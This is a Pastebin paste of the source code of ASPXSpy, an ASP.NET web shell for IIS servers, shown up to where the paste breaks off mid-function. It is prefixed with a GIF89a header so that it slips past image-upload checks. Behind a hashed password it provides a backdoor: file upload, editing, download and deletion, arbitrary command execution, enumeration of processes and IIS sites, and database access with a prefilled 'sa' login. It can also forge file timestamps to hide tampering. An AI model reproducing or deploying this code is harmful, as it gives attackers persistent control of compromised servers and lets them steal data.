Advertisement
DrsMalware

ASPX

Dec 7th, 2016
300
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 50.96 KB | None | 0 0
  1. GIF89a;
  2. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" %>
  3. <%@ import Namespace="System.IO" %>
  4. <%@ import Namespace="System.Diagnostics" %>
  5. <%@ import Namespace="System.Data" %>
  6. <%@ import Namespace="System.Data.OleDb" %>
  7. <%@ import Namespace="Microsoft.Win32" %>
  8. <%@ import Namespace="System.Net.Sockets" %>
  9. <%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
  10. <%@ import Namespace="System.DirectoryServices" %>
  11. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  12.  
  13. <script runat="server">
  14. /*
  15. Thanks Snailsor,FuYu,BloodSword
  16.  
  17. Code by Bin
  18.  
  19. Make in China
  20.  
  21. Blog: http://www.rootkit.net.cn
  22.  
  23. E-mail : master@rootkit.net.cn
  24. */
  25. public string Password="21232f297a57a5a743894a0e4a801fc3";
  26. public string SessionName="ASPXSpy";
  27. public string cookiePass="ASPXSpyCookiePass";
  28. public string Bin_Action="";
  29. public string Bin_Request="";
  30. protected OleDbConnection conn=new OleDbConnection();
  31. protected OleDbCommand comm=new OleDbCommand();
  32.  
  33. protected void Page_Load(object sender, EventArgs e)
  34. {
  35. //string strkey;
  36. bool isCookied=false;
  37. HttpCookieCollection cookiecoll=Request.Cookies;
  38. foreach (string strkey in cookiecoll.AllKeys)
  39. {
  40. if (strkey==cookiePass)
  41. {
  42. if (cookiecoll[strkey].Value==Password)
  43. {
  44. isCookied=true;
  45. }
  46. break;
  47. }
  48. }
  49. if((Session[SessionName] !="BIN")&&(!isCookied))
  50. {
  51. Bin_login();
  52. }
  53. else
  54. {
  55. if(!IsPostBack)
  56. {
  57. Bin_main();
  58. }
  59. else
  60. {
  61.  
  62. Bin_Action=Request["goaction"];
  63. if(Bin_Action=="del")
  64. {
  65. Bin_Request=Request["todo"];
  66. Bin_Filedel(Bin_Request, 1);
  67. }
  68. if(Bin_Action=="change")
  69. {
  70. Bin_Request=Request["todo"];
  71. Bin_FileList(Bin_Request);
  72. }
  73. if(Bin_Action=="deldir")
  74. {
  75. Bin_Request=Request["todo"];
  76. Bin_Filedel(Bin_Request, 2);
  77. }
  78. if(Bin_Action=="down")
  79. {
  80. Bin_Request=Request["todo"];
  81. Bin_Filedown(Bin_Request);
  82. }
  83. if(Bin_Action=="rename")
  84. {
  85. Bin_Request=Request["todo"];
  86. Bin_FileRN(Bin_Request, 1);
  87. }
  88. if(Bin_Action=="renamedir")
  89. {
  90. Bin_Request=Request["todo"];
  91. Bin_FileRN(Bin_Request, 2);
  92. }
  93. if(Bin_Action=="showatt")
  94. {
  95. Bin_Request=Request["todo"];
  96. Bin_Fileatt(Bin_Request);
  97. }
  98. if(Bin_Action=="edit")
  99. {
  100. Bin_Request=Request["todo"];
  101. Bin_FileEdit(Bin_Request);
  102. }
  103. if(Bin_Action=="postdata")
  104. {
  105.  
  106. Bin_Request=Request["todo"];
  107. Session["Bin_Table"]=Bin_Request;
  108. Bin_DataGrid.CurrentPageIndex=0;
  109. Bin_DBstrTextBox.Text="";
  110. Bin_Databind();
  111. }
  112. if(Bin_Action=="changedata")
  113. {
  114. Session["Bin_Table"]=null;
  115. Bin_Request=Request["todo"];
  116. Session["Bin_Option"]=Request["intext"];
  117. Bin_Change();
  118. Bin_DBinfoLabel.Visible=false;
  119. Bin_DBstrTextBox.Text=Bin_Request;
  120.  
  121. }
  122. if(Session["Bin_Table"] !=null)
  123. {
  124. Bin_Databind();
  125. }
  126.  
  127. }
  128. }
  129. }
  130. public void Bin_login()
  131. {
  132. Bin_LoginPanel.Visible=true;
  133. Bin_MainPanel.Visible=false;
  134. Bin_MenuPanel.Visible=false;
  135. Bin_FilePanel.Visible=false;
  136. Bin_CmdPanel.Visible=false;
  137. Bin_SQLPanel.Visible=false;
  138. Bin_SuPanel.Visible=false;
  139. Bin_IISPanel.Visible=false;
  140. Bin_PortPanel.Visible=false;
  141. Bin_RegPanel.Visible=false;
  142. }
  143. public void Bin_main()
  144. {
  145. TimeLabel.Text=DateTime.Now.ToString();
  146. Bin_PortPanel.Visible=false;
  147. Bin_RegPanel.Visible=false;
  148. Bin_LoginPanel.Visible=false;
  149. Bin_MainPanel.Visible=true;
  150. Bin_MenuPanel.Visible=true;
  151. Bin_FilePanel.Visible=false;
  152. Bin_CmdPanel.Visible=false;
  153. Bin_SQLPanel.Visible=false;
  154. Bin_SuPanel.Visible=false;
  155. Bin_IISPanel.Visible=false;
  156. string ServerIP="Server IP : "+Request.ServerVariables["LOCAL_ADDR"]+"<br>";
  157. string HostName="HostName : "+Environment.MachineName+"<br>";
  158. string OS="OS Version : "+Environment.OSVersion+"</br>";
  159. string IISversion="IIS Version : "+Request.ServerVariables["SERVER_SOFTWARE"]+"<br>";
  160. string PATH_INFO="PATH_TRANSLATED : "+Request.ServerVariables["PATH_TRANSLATED"]+"<br>";
  161. InfoLabel.Text="<hr><center><b><U>SYS-INFO</U></B></center>";
  162. InfoLabel.Text+=ServerIP+HostName+OS+IISversion+PATH_INFO+"<hr>";
  163. InfoLabel.Text+=Bin_Process()+"<hr>";
  164.  
  165. }
  166. private bool CheckIsNumber(string sSrc)
  167. {
  168. System.Text.RegularExpressions.Regex reg=new System.Text.RegularExpressions.Regex(@"^0|[0-9]*[1-9][0-9]*$");
  169.  
  170. if(reg.IsMatch(sSrc))
  171. {
  172. return true;
  173. }
  174. else
  175. {
  176. return false;
  177. }
  178. }
  179. public string Bin_iisinfo()
  180. {
  181. string iisinfo="";
  182. string iisstart="";
  183. string iisend="";
  184. string iisstr="IIS://localhost/W3SVC";
  185. int i=0;
  186. try
  187. {
  188. DirectoryEntry mydir=new DirectoryEntry(iisstr);
  189. iisstart="<input type=hidden name=goaction><input type=hidden name=todo><TABLE width=100% align=center border=0><TR align=center><TD width=6%><B>Order</B></TD><TD width=20%><B>IIS_USER</B></TD><TD width=25%><B>Domain</B></TD><TD width=30%><B>Path</B></TD></TR>";
  190. foreach(DirectoryEntry child in mydir.Children)
  191. {
  192. if(CheckIsNumber(child.Name.ToString()))
  193. {
  194. string dirstr=child.Name.ToString();
  195. string tmpstr="";
  196. DirectoryEntry newdir=new DirectoryEntry(iisstr+"/"+dirstr);
  197. DirectoryEntry newdir1=newdir.Children.Find("root", "IIsWebVirtualDir");
  198. iisinfo+="<TR><TD align=center>"+(i=i+1)+"</TD>";
  199. iisinfo+="<TD align=center>"+newdir1.Properties["AnonymousUserName"].Value+"</TD>";
  200. iisinfo+="<TD>"+child.Properties["ServerBindings"][0]+"</TD>";
  201. iisinfo+="<TD><a href=javascript:Command('change','"+formatpath(newdir1.Properties["Path"].Value.ToString())+"');>"+newdir1.Properties["Path"].Value+"</a></TD>";
  202. iisinfo+="</TR>";
  203. }
  204. }
  205. iisend="</TABLE><hr>";
  206. }
  207. catch(Exception error)
  208. {
  209. Bin_Error(error.Message);
  210. }
  211. return iisstart+iisinfo+iisend;
  212. }
  213. public string Bin_Process()
  214. {
  215. string htmlstr="<center><b><U>PROCESS-INFO</U></B></center><TABLE width=80% align=center border=0><TR align=center><TD width=20%><B>ID</B></TD><TD align=left width=20%><B>Process</B></TD><TD align=left width=20%><B>MemorySize</B></TD><TD align=center width=10%><B>Threads</B></TD></TR>";
  216. string prostr="";
  217. string htmlend="</TR></TABLE>";
  218. try
  219. {
  220. Process[] myprocess=Process.GetProcesses();
  221. foreach(Process p in myprocess)
  222. {
  223. prostr+="<TR><TD align=center>"+p.Id.ToString()+"</TD>";
  224. prostr+="<TD align=left>"+p.ProcessName.ToString()+"</TD>";
  225. prostr+="<TD align=left>"+p.WorkingSet.ToString()+"</TD>";
  226. prostr+="<TD align=center>"+p.Threads.Count.ToString()+"</TD>";
  227. }
  228. }
  229. catch(Exception Error)
  230. {
  231. Bin_Error(Error.Message);
  232. }
  233. return htmlstr+prostr+htmlend;
  234. }
  235. protected void LoginButton_Click(object sender, EventArgs e)
  236. {
  237. string MD5Pass=FormsAuthentication.HashPasswordForStoringInConfigFile(passtext.Text,"MD5").ToLower();
  238. if(MD5Pass==Password)
  239. {
  240. Session[SessionName]="BIN";
  241. Response.Cookies.Add(new HttpCookie(cookiePass,Password));
  242. Bin_main();
  243. }
  244. else
  245. {
  246. Bin_login();
  247. }
  248. }
  249.  
  250. protected void LogoutButton_Click(object sender, EventArgs e)
  251. {
  252. Session.Abandon();
  253. Response.Cookies.Add(new HttpCookie(cookiePass,null));
  254. Bin_login();
  255. }
  256.  
  257. protected void FileButton_Click(object sender, EventArgs e)
  258. {
  259. Bin_LoginPanel.Visible=false;
  260. Bin_MenuPanel.Visible=true;
  261. Bin_MainPanel.Visible=false;
  262. Bin_FilePanel.Visible=true;
  263. Bin_CmdPanel.Visible=false;
  264. Bin_SQLPanel.Visible=false;
  265. Bin_SuPanel.Visible=false;
  266. Bin_IISPanel.Visible=false;
  267. Bin_PortPanel.Visible=false;
  268. Bin_RegPanel.Visible=false;
  269. Bin_upTextBox.Text=formatpath(Server.MapPath("."));
  270. Bin_CopyTextBox.Text=formatpath(Server.MapPath("."));
  271. Bin_upTextBox.Text=formatpath(Server.MapPath("."));
  272. Bin_FileList(Server.MapPath("."));
  273.  
  274. }
  275.  
  276. protected void MainButton_Click(object sender, EventArgs e)
  277. {
  278. Bin_main();
  279. }
  280. public void Bin_DriveList()
  281. {
  282. string file="<input type=hidden name=goaction><input type=hidden name=todo>";
  283. file+="<hr>Drives : ";
  284. string[] drivers=Directory.GetLogicalDrives();
  285. for(int i=0; i < drivers.Length; i++)
  286. {
  287. file+="<a href=javascript:Command('change','"+formatpath(drivers[i])+"');>"+drivers[i]+"</a>&nbsp;";
  288. }
  289. file+=" WebRoot : <a href=javascript:Command('change','"+formatpath(Server.MapPath("."))+"');>"+Server.MapPath(".")+"</a>";
  290. Bin_FileLabel.Text=file;
  291. }
  292.  
  293. public void Bin_FileList(string Bin_path)
  294. {
  295. Bin_FilePanel.Visible=true;
  296. Bin_CreateTextBox.Text="";
  297. Bin_CopytoTextBox.Text="";
  298. Bin_CopyTextBox.Text=Bin_path;
  299. Bin_upTextBox.Text=Bin_path;
  300. Bin_IISPanel.Visible=false;
  301. Bin_DriveList();
  302. string tmpstr="";
  303. string Bin_Filelist=Bin_FilelistLabel.Text;
  304. Bin_Filelist="<hr>";
  305. Bin_Filelist+="<table width=90% border=0 align=center>";
  306. Bin_Filelist+="<tr><td width=40%><b>Name</b></td><td width=15%><b>Size(Byte)</b></td>";
  307. Bin_Filelist+="<td width=25%><b>ModifyTime</b></td><td width=25%><b>Operate</b></td></tr>";
  308. try
  309. {
  310. Bin_Filelist+="<tr><td>";
  311. string parstr="";
  312. if(Bin_path.Length < 4)
  313. {
  314. parstr=formatpath(Bin_path);
  315.  
  316. }
  317. else
  318. {
  319. parstr= formatpath(Directory.GetParent(Bin_path).ToString());
  320.  
  321. }
  322. Bin_Filelist+="<i><b><a href=javascript:Command('change','"+parstr+"');>|Parent Directory|</a></b></i>";
  323. Bin_Filelist+="</td></tr>";
  324.  
  325. DirectoryInfo Bin_dir=new DirectoryInfo(Bin_path);
  326. foreach(DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
  327. {
  328. string foldername=formatpath(Bin_path)+"/"+formatfile(Bin_folder.Name);
  329. tmpstr+="<tr>";
  330. tmpstr+="<td><a href=javascript:Command('change','"+foldername+"')>"+Bin_folder.Name+"</a></td><td><b><i>&lt;dir&gt;</i></b></td><td>"+Directory.GetLastWriteTime(Bin_path+"/"+Bin_folder.Name)+"</td><td><a href=javascript:Command('renamedir','"+foldername+"');>Ren</a>|<a href=javascript:Command('showatt','"+foldername+"/');>Att</a>|<a href=javascript:Command('deldir','"+foldername+"');>Del</a></td>";
  331. tmpstr+="</tr>";
  332. }
  333. foreach(FileInfo Bin_file in Bin_dir.GetFiles())
  334. {
  335. string filename=formatpath(Bin_path)+"/"+formatfile(Bin_file.Name);
  336. tmpstr+="<tr>";
  337. tmpstr+="<td>"+Bin_file.Name+"</td><td>"+Bin_file.Length+"</td><td>"+Directory.GetLastWriteTime(Bin_path+"/"+Bin_file.Name)+"</td><td><a href=javascript:Command('edit','"+filename+"');>Edit</a>|<a href=javascript:Command('rename','"+filename+"');>Ren</a>|<a href=javascript:Command('down','"+filename+"');>Down</a>|<a href=javascript:Command('showatt','"+filename+"');>Att</a>|<a href=javascript:Command('del','"+filename+"');>Del</a></td>";
  338. tmpstr+="</tr>";
  339. }
  340. tmpstr+="</talbe>";
  341. }
  342. catch(Exception Error)
  343. {
  344. Bin_Error(Error.Message);
  345.  
  346. }
  347.  
  348. Bin_FilelistLabel.Text=Bin_Filelist+tmpstr;
  349. }
  350. public void Bin_Filedel(string instr,int type)
  351. {
  352. try
  353. {
  354. if(type==1)
  355. {
  356. File.Delete(instr);
  357. }
  358. if(type==2)
  359. {
  360. foreach(string tmp in Directory.GetFileSystemEntries(instr))
  361. {
  362. if(File.Exists(tmp))
  363. {
  364. File.Delete(tmp);
  365. }
  366. else
  367. {
  368. Bin_Filedel(tmp, 2);
  369. }
  370. }
  371. Directory.Delete(instr);
  372. }
  373. }
  374. catch(Exception Error)
  375. {
  376. Bin_Error(Error.Message);
  377. }
  378. Bin_FileList(Bin_upTextBox.Text);
  379. }
  380. public void Bin_FileRN(string instr,int type)
  381. {
  382. try
  383. {
  384. if(type==1)
  385. {
  386. string[] array=instr.Split(',');
  387.  
  388. File.Move(array[0], array[1]);
  389. }
  390. if(type==2)
  391. {
  392. string[] array=instr.Split(',');
  393. Directory.Move(array[0], array[1]);
  394. }
  395. }
  396. catch(Exception Error)
  397. {
  398. Bin_Error(Error.Message);
  399. }
  400. Bin_FileList(Bin_upTextBox.Text);
  401. }
  402. public void Bin_Filedown(string instr)
  403. {
  404. try
  405. {
  406. FileStream MyFileStream=new FileStream(instr, FileMode.Open, FileAccess.Read, FileShare.Read);
  407. long FileSize=MyFileStream.Length;
  408. byte[] Buffer=new byte[(int)FileSize];
  409. MyFileStream.Read(Buffer, 0,(int)FileSize);
  410. MyFileStream.Close();
  411. Response.AddHeader("Content-Disposition", "attachment;filename="+instr);
  412. Response.Charset="UTF-8";
  413. Response.ContentType="application/octet-stream";
  414. Response.BinaryWrite(Buffer);
  415. Response.Flush();
  416. Response.End();
  417. }
  418. catch(Exception Error)
  419. {
  420. Bin_Error(Error.Message);
  421. }
  422.  
  423. }
  424. public void Bin_Fileatt(string instr)
  425. {
  426. Bin_AttPanel.Visible=true;
  427. Bin_FilePanel.Visible=true;
  428. try
  429. {
  430. string Att=File.GetAttributes(instr).ToString();
  431. Bin_ReadOnlyCheckBox.Checked=false;
  432. Bin_SystemCheckBox.Checked=false;
  433. Bin_HiddenCheckBox.Checked=false;
  434. Bin_ArchiveCheckBox.Checked=false;
  435.  
  436. if(Att.LastIndexOf("ReadOnly")!=-1)
  437. {
  438. Bin_ReadOnlyCheckBox.Checked=true;
  439. }
  440. if(Att.LastIndexOf("System")!=-1)
  441. {
  442. Bin_SystemCheckBox.Checked=true;
  443. }
  444. if(Att.LastIndexOf("Hidden")!=-1)
  445. {
  446. Bin_HiddenCheckBox.Checked=true;
  447. }
  448. if(Att.LastIndexOf("Archive")!=-1)
  449. {
  450. Bin_ArchiveCheckBox.Checked=true;
  451. }
  452. Bin_CreationTimeTextBox.Text=File.GetCreationTime(instr).ToString();
  453. Bin_LastWriteTimeTextBox.Text=File.GetLastWriteTime(instr).ToString();
  454. Bin_AccessTimeTextBox.Text=File.GetLastAccessTime(instr).ToString();
  455. }
  456. catch(Exception Error)
  457. {
  458. Bin_Error(Error.Message);
  459. }
  460. Bin_AttLabel.Text=instr;
  461. Session["FileName"]=instr;
  462. Bin_DriveList();
  463. }
  464. public void Bin_FileEdit(string instr)
  465. {
  466. Bin_FilePanel.Visible=true;
  467. Bin_EditPanel.Visible=true;
  468. Bin_DriveList();
  469. Bin_EditpathTextBox.Text=instr;
  470. StreamReader SR=new StreamReader(instr, Encoding.Default);
  471. Bin_EditTextBox.Text=SR.ReadToEnd();
  472. SR.Close();
  473. }
  474. protected void Bin_upButton_Click(object sender, EventArgs e)
  475. {
  476.  
  477. string uppath=Bin_upTextBox.Text;
  478. if(uppath.Substring(uppath.Length - 1, 1)!=@"/")
  479. {
  480. uppath=uppath+@"/";
  481. }
  482. try
  483. {
  484. Bin_UpFile.PostedFile.SaveAs(uppath+Path.GetFileName(Bin_UpFile.Value));
  485.  
  486. }
  487. catch(Exception error)
  488. {
  489. Bin_Error(error.Message);
  490. }
  491. Bin_FileList(uppath);
  492. }
  493. public void Bin_Error(string error)
  494. {
  495. Bin_ErrorLabel.Text="Error : "+error;
  496. }
  497. public string formatpath(string instr)
  498. {
  499. instr=instr.Replace(@"\", "/");
  500. if(instr.Length < 4)
  501. {
  502. instr=instr.Replace(@"/", "");
  503. }
  504. if(instr.Length==2)
  505. {
  506. instr=instr+@"/";
  507. }
  508. instr=instr.Replace(" ", "%20");
  509. return instr;
  510. }
  511. public string formatfile(string instr)
  512. {
  513. instr=instr.Replace(" ", "%20");
  514. return instr;
  515.  
  516. }
  517. protected void Bin_GoButton_Click(object sender, EventArgs e)
  518. {
  519. Bin_FileList(Bin_upTextBox.Text);
  520. }
  521.  
  522. protected void Bin_NewFileButton_Click(object sender, EventArgs e)
  523. {
  524. string newfile=Bin_CreateTextBox.Text;
  525. string filepath=Bin_upTextBox.Text;
  526. filepath=filepath+"/"+newfile;
  527. try
  528. {
  529. StreamWriter sw=new StreamWriter(filepath, true, Encoding.Default);
  530.  
  531. }
  532. catch(Exception Error)
  533. {
  534. Bin_Error(Error.Message);
  535. }
  536. Bin_FileList(Bin_upTextBox.Text);
  537. }
  538.  
  539. protected void Bin_NewdirButton_Click(object sender, EventArgs e)
  540. {
  541. string dirpath=Bin_upTextBox.Text;
  542. string newdir=Bin_CreateTextBox.Text;
  543. newdir=dirpath+"/"+newdir;
  544. try
  545. {
  546. Directory.CreateDirectory(newdir);
  547.  
  548. }
  549. catch(Exception Error)
  550. {
  551. Bin_Error(Error.Message);
  552. }
  553. Bin_FileList(Bin_upTextBox.Text);
  554. }
  555.  
  556. protected void Bin_CopyButton_Click(object sender, EventArgs e)
  557. {
  558. string copystr=Bin_CopyTextBox.Text;
  559. string copyto=Bin_CopytoTextBox.Text;
  560. try
  561. {
  562. File.Copy(copystr, copyto);
  563. }
  564. catch(Exception Error)
  565. {
  566. Bin_Error(Error.Message);
  567. }
  568. Bin_CopytoTextBox.Text="";
  569. Bin_FileList(Bin_upTextBox.Text);
  570. }
  571.  
  572. protected void Bin_CutButton_Click(object sender, EventArgs e)
  573. {
  574. string copystr=Bin_CopyTextBox.Text;
  575. string copyto=Bin_CopytoTextBox.Text;
  576. try
  577. {
  578. File.Move(copystr, copyto);
  579. }
  580. catch(Exception Error)
  581. {
  582. Bin_Error(Error.Message);
  583. }
  584. Bin_CopytoTextBox.Text="";
  585. Bin_FileList(Bin_upTextBox.Text);
  586. }
  587.  
  588. protected void Bin_SetButton_Click(object sender, EventArgs e)
  589. {
  590. try
  591. {
  592. string FileName=Session["FileName"].ToString();
  593. File.SetAttributes(FileName, FileAttributes.Normal);
  594. if(Bin_ReadOnlyCheckBox.Checked)
  595. {
  596. File.SetAttributes(FileName, FileAttributes.ReadOnly);
  597. }
  598.  
  599. if(Bin_SystemCheckBox.Checked)
  600. {
  601. File.SetAttributes(FileName, File.GetAttributes(FileName)| FileAttributes.System);
  602. }
  603. if(Bin_HiddenCheckBox.Checked)
  604. {
  605. File.SetAttributes(FileName, File.GetAttributes(FileName)| FileAttributes.Hidden);
  606. }
  607. if(Bin_ArchiveCheckBox.Checked)
  608. {
  609. File.SetAttributes(FileName, File.GetAttributes(FileName)| FileAttributes.Archive);
  610. }
  611. if(FileName.Substring(FileName.Length - 1, 1)=="/")
  612. {
  613. Directory.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  614. Directory.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  615. Directory.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  616. }
  617. else
  618. {
  619. File.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  620. File.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  621. File.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  622. }
  623. }
  624. catch(Exception Error)
  625. {
  626. Bin_Error(Error.Message);
  627. }
  628. Bin_FileList(Bin_upTextBox.Text);
  629. Response.Write("<script>alert('Success!')</sc"+"ript>");
  630. }
  631.  
  632. protected void Bin_EditButton_Click(object sender, EventArgs e)
  633. {
  634. try
  635. {
  636. StreamWriter SW=new StreamWriter(Bin_EditpathTextBox.Text, false, Encoding.Default);
  637. SW.Write(Bin_EditTextBox.Text);
  638. SW.Close();
  639. }
  640. catch(Exception Error)
  641. {
  642. Bin_Error(Error.Message);
  643. }
  644. Bin_FileList(Bin_upTextBox.Text);
  645. Response.Write("<script>alert('Success!')</sc"+"ript>");
  646.  
  647. }
  648.  
  649. protected void Bin_BackButton_Click(object sender, EventArgs e)
  650. {
  651. Bin_FileList(Bin_upTextBox.Text);
  652. }
  653.  
  654. protected void Bin_SbackButton_Click(object sender, EventArgs e)
  655. {
  656. Bin_FileList(Bin_upTextBox.Text);
  657. }
  658.  
  659. protected void Bin_CmdButton_Click(object sender, EventArgs e)
  660. {
  661. Bin_MenuPanel.Visible=true;
  662. Bin_LoginPanel.Visible=false;
  663. Bin_CmdPanel.Visible=true;
  664. Bin_SQLPanel.Visible=false;
  665. Bin_CmdLabel.Text="";
  666. Bin_SuPanel.Visible=false;
  667. Bin_IISPanel.Visible=false;
  668. Bin_RegPanel.Visible=false;
  669. Bin_PortPanel.Visible=false;
  670. }
  671.  
  672. protected void Bin_RunButton_Click(object sender, EventArgs e)
  673. {
  674. try
  675. {
  676. Process Cmdpro=new Process();
  677. Cmdpro.StartInfo.FileName=Bin_CmdPathTextBox.Text;
  678. Cmdpro.StartInfo.Arguments=Bin_CmdShellTextBox.Text;
  679. Cmdpro.StartInfo.UseShellExecute=false;
  680. Cmdpro.StartInfo.RedirectStandardInput=true;
  681. Cmdpro.StartInfo.RedirectStandardOutput=true;
  682. Cmdpro.StartInfo.RedirectStandardError=true;
  683. Cmdpro.Start();
  684. string cmdstr=Cmdpro.StandardOutput.ReadToEnd();
  685. cmdstr=cmdstr.Replace("<", "&lt;");
  686. cmdstr=cmdstr.Replace(">", "&gt;");
  687. Bin_CmdLabel.Text="<hr><div id=\"cmd\"><pre>"+cmdstr+"</pre></div>";
  688. }
  689. catch(Exception Error)
  690. {
  691. Bin_Error(Error.Message);
  692. }
  693. }
  694.  
  695. protected void Bin_SQLButton_Click(object sender, EventArgs e)
  696. {
  697. Bin_CmdPanel.Visible=false;
  698. Bin_SQLPanel.Visible=true;
  699. Bin_LoginPanel.Visible=false;
  700. Bin_MenuPanel.Visible=true;
  701. Bin_AccPanel.Visible=false;
  702. Bin_Scroll.Visible=false;
  703. Bin_DBmenuPanel.Visible=false;
  704. Bin_dirPanel.Visible=false;
  705. Bin_SuPanel.Visible=false;
  706. Bin_IISPanel.Visible=false;
  707. Bin_PortPanel.Visible=false;
  708. Bin_RegPanel.Visible=false;
  709. }
  710.  
  711. protected void Bin_SQLRadioButton_CheckedChanged(object sender, EventArgs e)
  712. {
  713. Session["Bin_Table"]=null;
  714. Bin_SQLconnTextBox.Text="server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB";
  715. Bin_SQLRadioButton.Checked=true;
  716. Bin_AccRadioButton.Checked=false;
  717. Bin_AccPanel.Visible=false;
  718. Bin_DataGrid.Visible=false;
  719. Bin_Scroll.Visible=false;
  720. Bin_DBmenuPanel.Visible=false;
  721. Bin_dirPanel.Visible=false;
  722. }
  723.  
  724. protected void Bin_AccRadioButton_CheckedChanged(object sender, EventArgs e)
  725. {
  726. Session["Bin_Table"]=null;
  727. Bin_SQLconnTextBox.Text=@"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\wwwroot\database.mdb";
  728. Bin_SQLRadioButton.Checked=false;
  729. Bin_AccRadioButton.Checked=true;
  730. Bin_DBmenuPanel.Visible=false;
  731. Bin_AccPanel.Visible=false;
  732. Bin_DataGrid.Visible=false;
  733. Bin_Scroll.Visible=false;
  734. Bin_dirPanel.Visible=false;
  735.  
  736. }
  737. protected void OpenConnection()
  738. {
  739. if(conn.State==ConnectionState.Closed)
  740. {
  741. try
  742. {
  743. conn.ConnectionString=Bin_SQLconnTextBox.Text;
  744. comm.Connection=conn;
  745. conn.Open();
  746. }
  747. catch(Exception Error)
  748. {
  749. Bin_Error(Error.Message);
  750. }
  751. }
  752. }
  753. protected void CloseConnection()
  754. {
  755. if(conn.State==ConnectionState.Open)
  756. conn.Close();
  757. conn.Dispose();
  758. comm.Dispose();
  759. }
  760. public DataTable Bin_DataTable(string sqlstr)
  761. {
  762. OleDbDataAdapter da=new OleDbDataAdapter();
  763. DataTable datatable=new DataTable();
  764. try
  765. {
  766. OpenConnection();
  767. comm.CommandType=CommandType.Text;
  768. comm.CommandText=sqlstr;
  769. da.SelectCommand=comm;
  770. da.Fill(datatable);
  771. }
  772. catch(Exception)
  773. {
  774. }
  775. finally
  776. {
  777. CloseConnection();
  778. }
  779. return datatable;
  780. }
  781. protected void SQL_SumbitButton_Click(object sender, EventArgs e)
  782. {
  783. try
  784. {
  785. Session["Bin_Table"]=null;
  786. Bin_DataGrid.CurrentPageIndex=0;
  787. Bin_DataGrid.AllowPaging=true;
  788. if(Bin_SQLRadioButton.Checked)
  789. {
  790. Bin_DBmenuPanel.Visible=true;
  791. Bin_DBinfoLabel.Visible=true;
  792. Bin_AccPanel.Visible=false;
  793. Bin_Scroll.Visible=false;
  794. Bin_dirPanel.Visible=false;
  795. OpenConnection();
  796. DataTable ver=Bin_DataTable(@"SELECT @@VERSION");
  797. DataTable dbs=Bin_DataTable(@"SELECT name FROM master.dbo.sysdatabases");
  798. DataTable cdb=Bin_DataTable(@"SELECT DB_NAME()");
  799. DataTable rol=Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  800. DataTable owner=Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
  801. string dbo="";
  802. if(owner.Rows[0][0].ToString()=="1")
  803. {
  804. dbo="db_owner";
  805. }
  806. else
  807. {
  808. dbo="public";
  809. }
  810. if(rol.Rows[0][0].ToString()=="1")
  811. {
  812. dbo="<font color=blue>sa</font>";
  813. }
  814. string db_info="";
  815. db_info="<i><b><font color=red>SQLversion</font> : </b></i>"+ver.Rows[0][0].ToString()+"<br><hr>";
  816. string db_name="";
  817. for(int i=0; i < dbs.Rows.Count; i++)
  818. {
  819. db_name+=dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(), "<font color=blue>"+cdb.Rows[0][0].ToString()+"</font>")+"&nbsp;|&nbsp;";
  820. }
  821. db_info+="<i><b><font color=red>DataBase</font> : </b></i><div style=\"width:760px;word-break:break-all\">"+db_name+"<br><div><hr>";
  822. db_info+="<i><b><font color=red>SRVROLEMEMBER</font></i></b> : "+dbo+"<hr>";
  823. Bin_DBinfoLabel.Text=db_info;
  824. }
  825. if(Bin_AccRadioButton.Checked)
  826. {
  827. Bin_DataGrid.Visible=false;
  828. Bin_SAexecButton.Visible=false;
  829. Bin_Accbind();
  830. }
  831. }
  832. catch(Exception E)
  833. {
  834. Bin_Error(E.Message);
  835. }
  836. }
  837. protected void Bin_Accbind()
  838. {
  839. try
  840. {
  841. Bin_DBmenuPanel.Visible=false;
  842. Bin_AccPanel.Visible=true;
  843. OpenConnection();
  844. DataTable acctable=new DataTable();
  845. acctable=conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new Object[] { null, null, null, "Table" });
  846. string accstr="<input type=hidden name=goaction><input type=hidden name=todo>";
  847. accstr+="Tables Count : "+acctable.Rows.Count+"<br>Please select a database : <SELECT onchange=if(this.value!='')Command('postdata',this);>";
  848. for(int i=0; i < acctable.Rows.Count; i++)
  849. {
  850. accstr+="<option value="+acctable.Rows[i].ItemArray[2].ToString()+">"+acctable.Rows[i].ItemArray[2].ToString()+"</option>";
  851. }
  852. if(Session["Bin_Table"] !=null)
  853. {
  854. accstr+="<option SELECTED>"+Session["Bin_Table"]+"</option>";
  855. }
  856. accstr+="</SELECT>";
  857. Bin_AccinfoLabel.Text=accstr;
  858. CloseConnection();
  859. }
  860. catch(Exception Error)
  861. {
  862. Bin_Error(Error.Message);
  863. }
  864. }
  865. protected void Bin_Databind()
  866. {
  867. try
  868. {
  869. Bin_SAexecButton.Visible=false;
  870. Bin_Accbind();
  871. Bin_Scroll.Visible=true;
  872. if(Bin_SQLRadioButton.Checked)
  873. {
  874. Bin_DBmenuPanel.Visible=true;
  875. Bin_DBinfoLabel.Visible=false;
  876. }
  877. Bin_DataGrid.Visible=true;
  878. DataTable databind=Bin_DataTable(@"SELECT * FROM "+Session["Bin_Table"]);
  879. Bin_DataGrid.DataSource=databind;
  880. Bin_DataGrid.DataBind();
  881. }
  882. catch(Exception Error)
  883. {
  884.  
  885. Bin_Error(Error.Message);
  886. }
  887. }
  888.  
  889. public void Bin_ExecSql(string instr)
  890. {
  891. try
  892. {
  893. OpenConnection();
  894. comm.CommandType=CommandType.Text;
